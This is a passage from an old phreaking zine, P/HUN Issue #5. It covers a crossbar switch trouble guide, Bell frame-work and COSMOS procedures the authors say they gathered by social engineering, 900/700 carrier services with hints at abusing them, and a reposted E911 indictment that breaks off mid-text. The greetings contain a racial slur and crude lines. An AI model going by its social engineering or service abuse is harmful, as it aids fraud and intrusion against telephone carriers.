Operator positions        512               1000
----------------------------------------------------------------
Toll and Assistance
Calls/hour                68,000            100,000
Operator positions        512               700
----------------------------------------------------------------
For these applications, call handling capacity is now 68,000 calls an hour for
toll and assistance and 90,000 calls an hour for difectory assistance.  While
these high capacities stem from the distributed architecture fo the 5ESS
switch, its modular design allow the OSPS to grow incrementally depending on
customer needs.
     Continuing architectural and design and hardware improvements will lead to
even higher capacities.  The next system relase, for example, will increase
toll and assistance to 100,000 calls an hour and directory assistance to
160,000 calls an hour.

Directory Assistance
     With directory assistance a caller gives a name and address and an
operator or the system responds with a phone number.  With vendor computer
systems, OSPS uses an internal audio response unit to "speak" the number to the
caller.  Future releases will permit adding or changing announcements by
interfacing with external audio response units.  Future releases also will
enable the operator to connect the person requesting the number and apply
billing in response to the caller's requests.  This provides a telephone
company with signigicant new revenue opportunities.  OSPS directory assistance
allows conferences between operators and hand=off of the call to another
operator.  Incoming directory assistance calls can be rerouted to operators on
a second OSPS.

Toll and Assistance    
     These operator services help callers complete toll calls, bill the call to
calling cards or to a third party,  bill the call person-to-person, and give
general help.  OSPS uses ISDN to furnish some of these services.  For example,
the system gives operators access to customer-supplied database computers. 
These computers may contain frequently referenced data such as emergency
numbers or rate and route information.  Operators are looged onto the database
automatically and single key actions transfer data from the data base screen to
the call handling screen.

International Applications
     Features start with a subset of the ACD, derectory assistance and basic
toll and assistance operator call handling features as in the North American
version.  Specific international needs are addes such as real-time billing
information, completed call retrieval, call booking, and a visible instruction
table.
     Real-time billing information for international calls includes validation
of credit-card numbers or billing number, computing charges in real time and
storing them in completed call records.  The billing information can be
supplied to the customer by a synthesized announcement of time and charges or
direct operator quotation.
     Completed call retrieval aallows the operator to retrieve the record of a
completed call, including call charges in response to customer inquiry.  It
also allows the operator to give correct billing in the case of a call being
cut off and reconnected.
     Call booking is for customers wanting calls placed at a particular time
and to allow operators to store calls for later completion during less
congested periods.  Data for these calls is stored in the OSPS and may be
distributed to operators for setup as soon as possible or at a designated time.
 Operators also may request retrieval of previously booked calls.  
     The operator uses a visible instruction table to obtain special dialing
instructions or otherf call-handling material.  The text is stored in the 5ESS
switch as a series of pages, and is displayed in a window area on the VDT
screen.  
     Additional features include customer and operator fraud protection,
enhanced charge and duration advice and language assistance, depending on the
needs of the particular country.  OSPS also supports the major international
signaling systems.


NEXT GENERATION

     The OSPS represents a new generation in operator services based on ISDN. 
The system can be configured to serve any operator application requiring access
to data bases and automated call distribution to operators. Since it is a
application on the 5ESS switch, it allows operator services to be provided at
local, tandem, or toll switching centers.  
     The design enables operators to be hundreds of miles from the switch. 
Features reduce a phone company's costs in the areas of operator expense,
administration and maaintenance, and network design.  The OSPS includes many
operator services not previously available and permits a wide mix of
applications on a single switch.  
     
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 

                    ()--------------------------------()
                    |                                 |
                    |  The Cross Bar Switching Guide  |
                    |           [Xbar #5]             |
                    |=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
                    |         By Xbar Switchman       |
                    |  Courtesy of New York Telephone |
                    |     Operating Staff - Plant     |
                    ()--------------------------------()

                     Phile #9 of P/HUN Magazine Issue #5

  Special thanks to Lord Micro and Seeker who were the people behind the bins.

Introduction:
-------------  
This guide was developed by the Plant Training Center,
to provide a ready reference of information that  can be used by The Central
Office Switchman during the performance of his daily work.   


Preface:
--------
In this part Class "A" reports are only covered. Future issues will have
MTF Tests/Class C/Alarms/Trouble Recorder etc.

Section #1 - Class "A" Reports        
------------------------------ 
     
CLASS "A" Reports
-----------------
Class "A" troubles are those reported by subcribers. Prompt and complete
handling is very important. Propmtness because the subcribers service may be
affected and completeness so that the customers service is not impaired  a 
second time for the same reason. 

If the line is held out of service by euipment note the x-points closed and
release the line hold magnet to allow the subcribers service. If necessary a
channel plug may be inserted in the junctor switch portion of the linkage in
order to release the subcriber's line sooner. The remaining linkage will be 
help up. So therefore what is done in such problems is to actually trace 
this held path and analyze to determine why it was held up. To keep Class "A"
report to a minimum switchman analyze all trouble recorder cards as soon as
they come in and mark each card for missing or false punches and compare with
previous cards. In this way repeaters can be spotted quickly and acted upon.
Usually switchman activate the continuity and ground test circuit of the
markers at regular  intervals in order to pick up linkage tip and ring 
troubles. Using this approach, along with regular testing procedures should
keep common euipment troubles to a minimum.

Here is a list of Class "A" trouble reports:

NDT - No Dial Tone    
CC - Cant call
DCLR - Double Connection-Lift Receiver
PS - Permanent Signal
COO - Cutoff Outgoing
DCO - Double Connection Outgoing
CBDT - Cant Break Dial Tone
DTWD - Dial Tone While Dialing
DCWD - Double Connection While Dialing
NAR - No Audible Ring
GWN or INTC  - Gets Wrong Number of Intercept
ATB - All Trunks Busy
DA - Dont Answer
GB-FB - Gets Busy-False Busy
CH - Cant Hear
CBH Cant Be Heard
NSY - Noisy 
DTRWT - Dial Tone Returns While Talking
XT - Cross Talk
COL Clicks On Line
BDR - Cell Doesn't Ring
DGC - Dont Get Calls
RI - Reaches Intercept
FRI Fails  to Reach Intercept
CIE - Called in Error
FB - False Busy
BRCM - Bell Rings - Cant Meet 
DCI - Double Connection Incoming  
CT - Cant Trip Ringing
COI - Cut OFf Incoming
FDA - False Dont Answer


Here are the explanations of Class "A" troubles occurances:  

NDT 
---
1) Open between HMDF and L.Lk. Frame.
2) Open L relay; Loose connection on L relay; open T or R connections on L.Lk.
   Frame; Open hold magnet.
3) Paritially Energized L relay or Hold Magnet.
4) Hold magnet help operated.
5) Dirty contacts or no follow on line hold off normal contacts.
6) Line switch and junction switch cross points .
7) If heavy reports from one frame check LLMC.
8) Review trouble cards for DT Marker Trouble.
9) Routine Originating Registers for dial tone.

DCLR
----
1) Check for bent select fingers on L.SW & all J.SW's.
2) Check for false operation of 2 or more line hold magnets on Incoming and
   Outgoing calls.
3) Review trouble cards for  DT markers - especially "X" indicators
4) Review trouble cards on DT markers for LXP or JXP indicators.

PS 
--
1) Shorted T & R.
2) False ground on ring side.
3) If Linkage fails to release-trace and check for linkage or PSHT trouble.
  
COO
---
1) Loose Connection on T, R  or S lead.
2) Poor make of L.Lk Cross Points.
3) Poor make  of hold magnets off normals
4) Review Completing Marker Trouble cards  for LXP type trouble o outgoig 
   calls.
5) If heavy reports from 1 line link frame check LLC.
6) Possible Pretranslator or PRTC Trouble

DCO
---
1) Inspect for cross T & R.
2) Inspect for bent select fingers or 2 selectes operated.
3) Inspect for 2XPTS Closed on same horizontal.
4) Check Comp. MArker Touble Cards (for "X" indications)
5) Check Comp. Marker Trouble Cards (for LXP; JXP indications)
6) Possible doulbe wiring on trunks apperance on TLK frame.
7) False SL inidications.

CBDT
----
1) Possible hihg resistance on subcribers line.
2) Routing Originating registers (DT Test). 
  
DTWD
----
1) Loose sleeve connection.
2) LLK XPTS poor sleeve conection.
3) False release of O.R
4) Pretranslator.

DCWD
----
1) Crossed T or R.
2) False selected bar operation.
3) Bent select finger.

NAR
---
1) Trunk pre-trip.
2) Stuck sender or register.
3) subcriber class of service wiring.
4) Out sender link X-Points.
5) Wrong TB-TG wiring of Outgoing Trunk.
6) Wrong  RN trunk X connection.
7) Wrong trunk options.
8) Trasverter-Transverter Connector.
9) Recorder.
At terminating end:
1) Ringing selection switch.
2) Incoming Trunk Wiring.
3) Linkage.

GWN  or INTC
------------
1) Loose tip and/ or ring.
2) Unbalanced subcriber line.
3) Marker Wiring and Number group wiring.
4) Originating register or outgoing sender trouble.
5) Wrong TB-TG-RN Trunk or TLK frame.
6) FAT frame wiring

DA
--
1) Incoming register trouble.
2) Ringing selection switch trouble.
3) Wrong NG Wiring.
4) Incoming trunk R Relay adjustment.
5) Open T or R from Incoming trunk to called subscriber.
6) Outgoing trunk supervision trouble.

GB-FB
-----
1) Might be overflow instead of busy.
2) Outgoing trunk trouble.
3) Wiring number group wiring.
4) Ringing selection switch trouble.
5) Incoming Trunk wiring
6) Troulbe release by Marker.

CH
--
1) Subcriber's line has high resistance.
2) Swinging or poor wiring  connections-tip or ring.
3) Dirty X points (tip or ring).
4) Outgoing trunk-poor transmission.

CBH
---
1) Subscriber's line has high resistance.
2) Swinging or poor wiring connections tip or ring.
3) Dirty X points (tip or ring).
4) Poor transmissions on trunks.

NSY
---
1) Loose Connection tip or ring.
2) Dirty pins on 444 jack on VMDF.
3) Tip or Ring resistance cross.
4) Outgoing trunk transmission.
5) Induction on subcriber's line.
6) Dirty contacts in talking linkage.

DTRWT
-----
1) False release of outgoing trunk or incoming trunk euipment.
2) Poor connection  or dirty contacts of sleeve lead of talking path.
   
XT
--
1) Before dial tone
     a) Line link double connection.
     b) Induction on subcriber's line.
2) After dial tone
     a) Trunk cable induction.

COL
---
1) Vibrating relay.
2) Riding selector.
3) Wiring interference.
4) Improper testing.
5) Loose connection in talking path.

BDR
---
1) Open T or R from incoming trunk to subcriber's line.
2) Grounded ring in linkage.
3) Defective incoming trunk.
4) Ringing selection switch trouble 
5) Incoming register trouble.
6) Wrong NG or ADF wiring.
7) Check trouble cards for CON and FCG failures on incoming calls.

DCG, RI, FRI, CIE
----------------- 
1) Number group or ADF wiring.
2) Open sleeve in linkage.
3) Incoming register trouble.
4) Incoming trunk options or wiring.

FB
--
1) Possible incoming X'd sleeve.
2) Possible LG relay cross.
3) Possible help up on incoming call.
4) Possible help up by operator.

* ITEMS 3 and 4 HOLD CONNECTION WITH CHANNEL PLUG AND MAKE TRACE BACK-IF HELD
  BY OPERATOR GET REASON.

BRCM
----
1) Open Tip or Ring (T or R )     
2) Unbalanced line.
3) Crossed ring sides. 
4) Loose or open sleeve-possible 1 ring.
5) Incoming trunk trouble .

DCT
---
1) Crossed sleeves (2 hold magnets)
2) 2 select bars operating
3) 2 LG relays operating.
   
CT
--
1) Defective incoming trunk.
2) Possible high resistance ring side.

COI
---
1) Incoming trunk trouble (false release).
2) Loose or dirty contacts of sleeve of incoming connection.

FDA
---
1) Reaching wrong #'s possible- see GWN.
2) Ringing selection switch trouble.
3) Incoming trunk trouble.
4) Incoming linkage open T or R.
5) Called sub line open T or R.
  
End of PART 1
-------------
Well this article will conclude on future issues. Hopefully now you have a 
better understanding of all kinds of troubles reported to the Xbar office.
This article is a little complicated to follow and DOES require the basic 
understanding of No. 5 Crossbar Switching System. 

Would also like say thanks to Lord Micro and Seeker who were the people behind
the bins at a local office.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
+--------------------------------------------------------+
|        SSWC - Bell Research Report (Vol III)           |
|--------------------------------------------------------|
|        Phile #10 of P/HUN Magazine Issue #5            |
+--------------------------------------------------------+

         All research gathered, tested and mastered by the original 
         members of SSWC: 
 
         Chance - The Technician - Cellular Phantom 
 
         After the large response we have received after writing our 
         first two Bell Research report documents, we have chosen to 
         continue our discussions on the ever intriguing Bell System 
         and its many fascinating departments. Note that the 
         information in this file is subject to change. However, we 
         will try to keep you updated as much as possible. 
 
 
    In our in depth research and social engineering practices of the 
 Bell System, we have discovered an important plan which frameworkers 
 and switch technicians must follow. This plan is known as the Frame 
 Force Management Plan (FFMP), which is a guide to obtain maximum 
 benift from the performance of frameworkers. (In other words this  
 plan is used so the Bell System can make sure there frameworkers 
 don't drop the ball). This plan may be used in either a centralized 
 frame environment or a local a local wire center. It provides  
 techniques for the manager to use in estimating the work load (demand 
 and programmable frame work) and matching the available frame 
 personnel to the expected work. The plan also provides information 
 for the manager to analyze and evaluate the results of these 
 techniques. In essence, the plan aids supervision in ensuring that: 
 
   * Work is available to ensure adequate load exists for the 
     available time. 
 
   * Adequte personnel is available to complete necessary work. 
 
   * Work is assigned in a correct sequence to minimize impact on 
     other personnel. 
 
   * Completed work is evaluated to ensure its efficiency and quality. 
  
   * Work and personnel are scheduled to meet due date commitments. 
 
 
     Note: The records, reports and status information for this plan 
           may be administered in the local distributing frame  
           enviornment, a Frame Control Center (FCC) or a Frame Work 
           Station (FWS) in a Switching Control Center (SCC). 
 
 
    This plan provides frame managers with suggested procedures to  
 develope forcasts or estimates of future work volumes. With this 
 knowledge, the manager should be able to accomplish the following: 
 
 
 
   * Meet subscriber demands. 
  
   * Program company-generated work. 
 
   * Ensure that all employees are assigned productively. 
 
     
   To avoid possbile misunderstanding, the following definitions are 
   provided. 
 
 
 Distributing Frame:    Main Distributing Frame (MDF), Intermediate  
                        Distributing Frame (IDF), Line Distributing 
                        Frame (LDF), Trunk Distributing Frame (TDF), 
                        No. Group, Translator, Block Relay,  
                        No. Network (Automatic Number Identification) 
                        [ANI] and any other frame performaing 
                        functions related to work covered by this 
                        plan. 
 
 Frame Control Center:  An administrative center that performs 
                        pricing, packaging, force loading, tracking, 
                        and force administration for centralized 
                        frame operations. 
 
 Frame Work Station:    A work station that is responsible for the 
                        functions of the FCC on a smaller scale. It 
                        is located in an SCC. 
 
 Programmable Work:     Programmable work requests consist of the same 
                        work requests that are included in demand 
                        work. The difference is that the programmable 
                        work requests are received before the due date 
                        in time to schedule thier completion. Examples 
                        of programmable work are: 
  
                            * Service Orders 
                            * Trunk Orders 
                            * Special Service Orders 
                            * Verifications 
                            * Cable Transfers 
                            * Routine maintenance 
                            * Line Equiptment Transfers 
                            * Service Observing (Remote 
                              Observation[REMOB]) 
 
        
    In a Cosmos environment, the following activites should be 
    conducted to ensure data base accuracy: 
 
    * Prompt and accurate frame service order completion 
      notifications. 
 
 
 
    * Use of the order status procedures for notifying the Loop 
      Assignment Center (LAC) and other control centers of 
      discrepancies and pending order status encountered that 
      contradict the Cosmos frame work order or prevent frame 
      order completing. 
 
 
    The average service order for an MDF consists of two basic 
 operations: (1) the jumper on the Main Distributing Frame (MDF), 
 and (2) the cross-connections for the telephone number, billing, 
 and line equipment. (Modular and Common System Main Interconnecting 
 Frame [COSMIC]) systems' types of cross-connects. COSMIC; developed 
 by AT&T.  
 
 
     Next we will discuss how Cosmos is used in aiding Frameworkers 
     and Frame Technicians. 
 
     The Computer System for Main Frame Operations (COSMOS) is a 
 mechanized record and assignment system designed to maintain 
 accurate records of Main Distributing Frame (MDF) facilities and 
 efficiently administer desired assignment of exchange facilities.  
 Cosmos maintains a record of all line equiptment, exchange cable 
 pairs, and telephone numbers served by the wire center. 
  
    Cosmos is a very useful tool in administering frame work in a 
 central office. It allows increased productivity and gives the 
 frame supervisor much greater visibility of the projected work  
 load. However, Cosmos will not automatically create order out of 
 chaos. 
 
    The purpose of Cosmos is to assign the shortest possible MDF 
 jumper connection between CO line equiptment and the cable pair 
 serving the customer. 
 
    With the Dedicated Inside Plant (DIP) administration, Cosmos aids 
 in reusing as many spare jumpers as possible. When a D-Order (dis- 
 connect order) is processed, the possibility of reusing the existing 
 jumper on a new connect service order is considered. Re-using a 
 jumper eliminates extra work and reduces the possibility of wiring 
 errors. 
 
    Frame work is performed from the Cosmos output whether the order 
 is a service order or work order. When a service order cannot be  
 worked, the frame workers should establish a jepordy report in  
 Cosmos. Enough information must be provided so that the LAC can 
 take appropriate action, without having to call the frame. 
 
    Because Cosmos will only print out orders due on the date 
 requested, and because an inquiry can be made on any pending orders 
 in Cosmos by order number, it is not necessary to file orders 
 by due date or by order number. However, it is necessary to be able 
  
 to find orders that have been modified, cancelled, or changed. 
 
    Next we will briefly discuss the Cosmos orders filing system, 
 which can be divided into two parts: (1) pending orders, and 
 (2) Main Distributing Frame (MDF) completed orders. In each section 
 the orders will be filed by exchange code. Circuits without a 
 telephone number are filed in a separate "private line bin" 
 *(however, we regret that we have not fully understood and research 
 this section of the filing system, due to its uncommon use). The 
 service orders in the pending section are those which for one  
 reason or another, cannot be worked at present. These include orders 
 that have had the due dates advanced or that require the installers 
 go-ahead. A separate file area is kept for orders in jepordy.  
 When an order is MDF-complete, it is placed in the complete order 
 section. Work orders such as (cable pairs transfers, line equiptment 
 transfers) should be filed in the pending order section by order  
 number. In the completed section, work orders should be filed 
 by telephone exchange and remaining telephone number, along with 
 service orders. Orders in the complete section are only retained 
 for a few weeks only. Usually after a two week period those  
 completed orders are removed.  
 
 
    The responsibility of the frame with Cosmos is to enter the  
 status of all work orders into the system. The frame also shares 
 the responibility for reporting data base validity, and is  
 responsible for reporting any data base errors to the originator 
 of the order as well as performing periodic verifications of the 
 data base, to insure proper functioning of the data base. 
 
    We will now briefly discuss the Cosmos Frame Work Management (FWM) 
 module. The Cosmos FWM supports a Frame Control Center (FCC), a  
 Switching Control Center (SCC), or a traditional wire center location 
 by mechanizing the clerical effort involved in sorting, pricing, and 
 packaging Plain Old Telephone Service (POTS) frame work orders. The 
 module automatically developes work packages, either by due date,  
 order type, frame location, switching type or in any combination 
 which meets assignment requirements. 
 
 
 
  We would like to thank the following organizations and thier members 
  for being truly innovative hackers: 
 
  EVERYONE IN THE TIS CLUB, EVERYONE AT 2600 MAGAZINE, DPAK AND 
  SUPERNIGGER, PHORTUNE 500, THE BAD BOYS, THE TECHNICIAN WOULD LIKE 
  SAY, "HELLO TO RED KNIGHT, MY BOY TONY FROM THE SWITCHING CONTROL 
  CENTER, AND KEY PULSE - A REALLY INNOVATIVE GUY!". CELLULAR PHANTOM 
  WOULD LIKE TO SAY, "THIS FILE IS DEDICATED TO: THE GIRL WITH THE 
  LITTLE RED SHOES, SHE LIKES TO PARTY, SHE LIKES TO BOOZE, SHE LOST 
  HER CHERRY BUT THATS NO SIN, SHE STILL GOT THE BOX THE CHERRY CAME 
  IN". HELLO TO BRADLY IN OHIO, SUB ZERO, AND ALL MY BOYS BACK AT 
  CUYAHOGA HILLS BOYS SCHOOL (JAIL IS A FUCKED UP PLACE ISN'T IT?). 
 
 * SSWC: The leader of Innovative hacking! 
 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                       Phile #11 of P/HUN Issue #5

                        CARRIER 900/700 SERVICE
                    
                          WRITTEN BY TONE TEC

          On November 30,  1988,  the FCC approved a tariff which makes
          900/700 Services available to all Carriers.   Prior to  this,
          only  AT&T  provided information services thru  900  numbers. 
          The 900/700 service offers enhanced information  capabilities
          such as
             * interactive group conversations
             *  recordings  for weather status,  sports  scores,  music
          news,etc.

          The  900/700  Service differs from the 976  product  in  that
          900/700  Services  are carried interLATA  and  interstate  as
          opposed to intraLATA (LATA in telco lingo means Local  Access
          Transport Area).  Also the Carrier offers the Service to  the
          Information  Provider(IP)  who is  considered  the  Carrier's
          customer.  This differs from 976 Service where the IP is  the
          local telco's customer.

          But what does all this mean to you,  John Phrack?  Why,  more
          confusion,  of  course,  as  to just  who  is  handling  your
          billing.  Detail  for  900/700 messages will  appear  on  the
          appropriate Carrier toll page of your bill.  Messages will be
          interspersed  with other LD calls placed thru  same  carrier.
          The cost varies from 50 cents per minute to 2.00.

          The  method used for reaching a 900 or 700  service  differs.
          Calls  to  900  numbers may always be  completed  by  dialing
          1+900+NNX+XXXX  (NXX being the Exchange or C.O.  code).  Each
          900 NNX is carrier specific and customers will not always  be
          aware of which carrier is providing the service.  Example:  A
          customer  with  AT&T as the chosen 1+ carrier could  dial  an
          advertised  900# provided by Allnet.   Since the service  was
          reached  without dialing Allnet's access code,  the  customer
          may expect the call to appear under AT&T's charges.  WRONGO!

          Calls to 700 numbers are completed by dialing  1+700+NNX+XXXX
          or  10XXX+1+700+NNX+XXXX depending on the  customers  primary
          carrier.  Each  700 NNX is not  Carrier  specific,  therefore
          customers will be aware of which Carrier is providing the 700
          Service.  Advertisements  for 700 Services will  appear  with
          appropriate  5-digit Carrier code.  Allnet Communications  is
          the  first  carrier  to process  700  Service  messages.  The
          content  of the 700 Service may be a recorded  message,  live
          convo,  or  prompts  to enter responses thru the  use  of  TT
          keypad.  "Live Convo"  programs won't be monitored  by  local
          telco, but will be monitored 24 hours a day, 7 days a week by
          Allnet. (Are you kidding?)

          By the way, if you choose to abuse this service from home (or
          your  best bud's home) there is a nifty device  available  to
          the Carrier call Selective Carrier Denial (SCD).  This is  an
          optional  restriction  service available to  the  carrier  to
          restrict  the  end  user from  accessing  their  network  via
          1+,0+,00- and 10XXX dialing.  This does not affect access  to
          the local network. SCD is only designed to restrict customers
          with One-Party service.

          Surely    there   exists   some   exciting   new    phreaking
          potentialities out of all this.............................



                             ALLNET 700 SERVICE

          NUMBER      PROGRAM NAME   DESCRIPTION OF PROGRAM   CHARGE

          222-2222    US TALKLINE    GROUP BRIDGING SERVICES  $.99P/MIN
                                     INTENDED FOR INDIVIDUAL
                                     18 YEARS OF AGE AND UP

          444-4444    PARTY LINE     GROUP BRIDGING SERVICES  $1.00 P/M
                                     INTENDED FOR INDIVIDUAL
                                     18 YEARS OF AGE AND UP

          666-6666    TALKNET USA    GROUP BRIDGING SERVICES  $.99 P/M
                                     INTENDED FOR INDIVIDUAL
                                     18 YEARS OF AGE AND UP

          700-7000    GABB LINE      GROUP BRIDGING SERVICES  $1.95 1/M
                                     INTENDED FOR INDIVIDUAL  $.99EA AD
                                     18 YEARS OF AGE AND UP 
          825-5121    TALK ONE       NATIONWIDE AUDIENCE OF   $1.491/M
                                     INDIVIDUALS WHO LIKE     $1.49AD M
                                     TO SPEAK ON THE PHONE

          999-9999    ACCESS USA     GROUP BRIDGING SERVICES  $.95 P/M
                                     INTENDED FOR INDIVIDUAL
                                     18 YEARS OF AGE AND UP

          546-9467    SPORTS         AUDIENCE PRIMARILY MADE  $5.00P CL
                                     UP OF ADULT MALE SPORTS
                                     ENTHUSIASTS. RECORDING

          539-4263    SPORTS         AUDIENCE PRIMARILY MADE  $5.00P CL
                                     UP OF ADULT MALE SPORTS
                                     ENTHUSIASTS. RECORDING


          ALLNET 900 SERVICE

          909-JEFF    DIAL-A-ROCKER  AUDIENCE PRIMARILY MADE  $2.00 1/M
                                     UP OF RAPPER FANS OF     $.45EA/AD
                                     D.J. JAZZY JEFF


          (Uh sorry, folks, but I just had to throw that one in. I know
          my day is more complete with that 900 # available to me) hehe

                                     TONE

===============================================================================


                     -=Phile #12 of P/HUN Issue #5=-
                       ----------------------------


From: telecom@eecs.nwu.edu (TELECOM Moderator)
Newsgroups: comp.dcom.telecom
Subject: Legion of Doom Indictments (Chicago Members, Jolnet Shutdown)
Date: Sat, 31-Mar-90 20:05:00 EDT
Organization: TELECOM Digest
X-Telecom-Digest: Special Issue: LoD in Trouble!


TELECOM Digest     Sat, 31 Mar 90 19:05:00 CST    Special: LoD in Trouble!

Inside This Issue:                         Moderator: Patrick A. Townson

    Legion of Doom Indictments (Chicago Members) [Mike Godwin]
----------------------------------------------------------------------

From: Mike Godwin <walt.cc.utexas.edu!mnemonic@cs.utexas.edu>
Subject: Legion of Doom Indictments (Chicago Members, Jolnet Shutdown)
Date: 31 Mar 90 22:37:33 GMT
Reply-To: Mike Godwin <walt.cc.utexas.edu!mnemonic@cs.utexas.edu>
Organization: The University of Texas at Austin, Austin, Texas


The following is the text of the federal indictments of the Chicago
Jolnet members. Secret Service jurisdiction to investigation these
alleged computer-related offenses comes from 18 USC 1030, the general
computer-fraud statute -- it's provided in section (d) under this
statute.

              UNITED STATES DISTRICT COURT NORTHERN
                      DISTRICT OF ILLINOIS
                        EASTERN DIVISION

                               )
UNITED STATES OF AMERICA       )
                               )
          v.                   )    No. ______________________
                               )    Violations: Title 18, United
ROBERT J. RIGGS, also known    )    States Code, Sections
as Robert Johnson, also        )    1030(a)(6)(A) and 2314
known as Prophet, and          )
CRAIG NEIDORF, also known      )
as Knight Lightning            )

                            COUNT ONE

     The SPECIAL APRIL 1987 GRAND JURY charges:

                        PROPERTY INVOLVED

     1. At all times relevant herein, enhanced 911 (E911) was the
national computerized telephone service program for handling
emergency calls to the police, fire, ambulance and emergency
services in most municipalities in the United States. Dialing 911
provided the public immediate access to a municipality's Public
Safety Answering Point (PSAP) through the use of computerized all
routing. The E911 system also automatically provided the recipient
of an emergency call with the telephone number and location
identification of the emergency caller.

     2. At all times relevant herein, the Bell South Telephone
Company and its subsidiaries ("Bell South") provided telephone
services in the nine state area including Alabama, Mississippi,
Georgia, Tennessee, Kentucky, Lousiana {sic}, North Carolina, South
Carolina and Florida.

     3. At all times relevant herein, the E911 system of Bell South
was described in the text of a computerized file program known as
the Bell South Standard Practice 660-225-104SV Control Office

                              - 1 -

Administration of Enhanced 911 Services for Special and Major
Account Centers date March, 1988 ("E911 Practice"). The E911
Practice was a highly proprietary and closely held computerized
text file belonging to the Bell South Telephone Company and stored
on the company's AIMSX computer in Atlanta, Georgia. The E911
Practice described the computerized control and maintainence {sic}
of the E911 system and carried warning notices that it was not to be
disclosed outside Bell South or any of its subsidiaries except
under written agreement.

                         COMPUTER HACKERS

     4. At all times relevant herein, computer hackers were
individual involved with the unauthorized access of computer
systems by various means.

     5. At all times relevant herein, the Legion of Doom (LOD)
was a closely knit group of computer hackers involved in:

          a.   Disrupting telecommunications by entering
               computerized telephone switches and changing the
               routing on the circuits of the computerized
               switches.
          b.   Stealing proprietary computer source code and
               information from companies and individuals that
               owned the code and information.
          c.   Stealing and modifying credit information on
               individuals maintained in credit bureau computers.

                              - 2 -

          d.   Fraudulently obtaining money and property from
               companies by altering the computerized information
               used by the companies.
          e.   Disseminating information with respect to their
               methods of attacking computers to other computer
               hackers in an effort to avoid the focus of law
               enforcement agencies and telecommunication security
               experts.

     6. At all times relevant herein ROBERT J. RIGGS, defendant
herein, was a member of the LOD.

     7. At all times relevant herein CRAIG NEIDORF, defendant
herein, was a publisher and editor of a computer hacker newletter
{sic} known as "PHRACK."

     8. At all times relevant herein, a public access computer
bulletin board system (BBS) was located in Lockport, Illinois which
provided computer storage space and electronic mail services to its
users. The Lockport BBS was also used by computer hackers as a
location for exchanging and developing software tools for computer
intrusion, and for receiving and distributing hacker tutorials and
other information.

                             E-MAIL

     9. At all times relevant herein electronic mail (e-mail) was
a computerized method for sending communications and files between
individual computers on various computer networks. Persons who
sent or received e-mail were identified by an e-mail address,
similar to a postal address. Although a person may have more than

                              - 3 -

one e-mail address, each e-mail address identified a person
uniquely. The message header of an e-mail message identified both
the sender and recipient of the e-mail message and the date the
was {sic} message sent.

     10. Beginning in or about September, 1988, the exact date
begin unknown to the Grand Jury, and continuing until the return
date of this indictment, at Lockport, in the Northern District of
Illinois, Eastern Division, and elsewhere,

                  ROBERT J. RIGGS, also known
                  as Robert Johnson, also
                  known as Prophet, and
                  CRAIG NEIDORF, also known
                  as Knight Lightning,

defendants herein, together with others known and unknown to the
Grand Jury, devised and intended to devise and participated in a
scheme and artifice to defraud and to obtain money and other things
of value by means of false and fraudulent pretenses and
representations, well knowing at the time that such pretenses,
representations and promises were false when made.

                     OBJECT OF FRAUD SCHEME

     11. The object of the fraud scheme was to steal the E911
Practice text file from the computers of Bell South Telephone
Company though {sic} the use of false and fraudulent pretenses and
representations and to conceal all indications that the text file
had been stolen; and to thereafter publish the information about
the E911 Practice text file in a hacker publication for
dissemination.

                              - 4 -

                    OPERATION OF FRAUD SCHEME

     12. It was part of the fraud scheme that the defendant NEIDORF
would and did advise the defendant RIGGS that he had assembled a
group of computer hackers for the purpose of distributing computer
information.

     13. It was further part of the scheme that the defendant
RIGGS would and did steal sensitive proprietary Bell South
information files including the E911 Practice text file by gaining
remote unauthorized access to computers of the Bell South Telephone
Company.

     14. It was further part of the scheme that the defendant
RIGGS would and did disguise and conceal the theft of the E911
Practice text file from Bell South Telephone Company by removing
all indications of his unauthorized access into Bell South
computers and by using account codes of legitimate Bell South users
to disguise his authorized use of the Bell South computer.

     15. It was further part of the scheme that RIGGS would and
did transfer in interstate commerce a stolen E911 Practice text
file from Atlanta, Georgia to Lockport, Illinois through the use
of an interstate computer data network.

     16. It was further part of the scheme that defendant RIGGS
would and did store the stolen E911 Practice text file on a
computer bulletin board system in Lockport, Illinois.

     17. It was further part of the scheme that defendant NEIDORF,
utilizing a computer at the University of Missouri in Columbia,
Missouri would and did receive a copy of the stolen E911 text file

                              - 5 -

from defendant RIGGS through the Lockport computer bulletin board
system through the use of an interstate computer data network.

     18. It was further part of the scheme that defendant NEIDORF
would and did edit and retype the E911 Practice text file at the
request of the defendant RIGGS in order to conceal the source of
the E911 Practice text file and to prepare it for publication in
a computer hacker newsletter.

     19. It was further part of the scheme that defendant NEIDORF
would and did transfer the stolen E911 Practice text file through
the use of an interstate computer bulletin board system
used by defendant RIGGS in Lockport, Illinois.

     20. It was further part of the scheme that the defendants
RIGGS and NEIDORF would publish information to other computer
hackers which could be used to gain unauthorized access to
emergency 911 computer systems in the United States and thereby
disrupt or halt 911 service in portions of the United States.

     22. It was further a part of the scheme that the defendants
would and did misrepresent, conceal, and hide, and cause to be
misrepresented, concealed and hidden the purposes of ane {sic} the
acts done in furtherance of the fraud scheme, and would and did use
coded language and other means to avoid detection and apprehension

                              - 6 -

by law enforcement authorities and to otherwise provide security
to the members of the fraud scheme.

     23. In or about December, 1988, at Lockport, in the
Northern District of Illinois, Eastern Division, and elsewhere,

               ROBERT J. RIGGS, also known
               as Robert Johnson, also
               known as Prophet,

defendant herein, for the purpose of executing the aforesaid
scheme, did knowingly transmit and cause to be transmitted by means
of a wire communication in interstate commerce certain signs,
signals and sounds, namely: a data transfer of a E911 Practice
text file from Decatur, Georgia to Lockport, Illinois.

     In violation of Title 18, United States Code, Section 1343.

                              - 7 -

                            COUNT TWO

     The SPECIAL APRIL 1987 GRAND JURY further charges:

     1. The Grand Jury realleges and incorporates by reference
the allegations of paragraphs 1 through 22 of Count One of this
Indictment as though fully set forth herein.

     2. On or about January 23, 1989, at Lockport, in the
Northern District of Illinois, Eastern Division and elsewhere,

                  ROBERT J. RIGGS, also known
                  as Robert Johnson, also
                  known as Prophet, and
                  CRAIG NEIDORF, also known
                  as Knight Lightning,

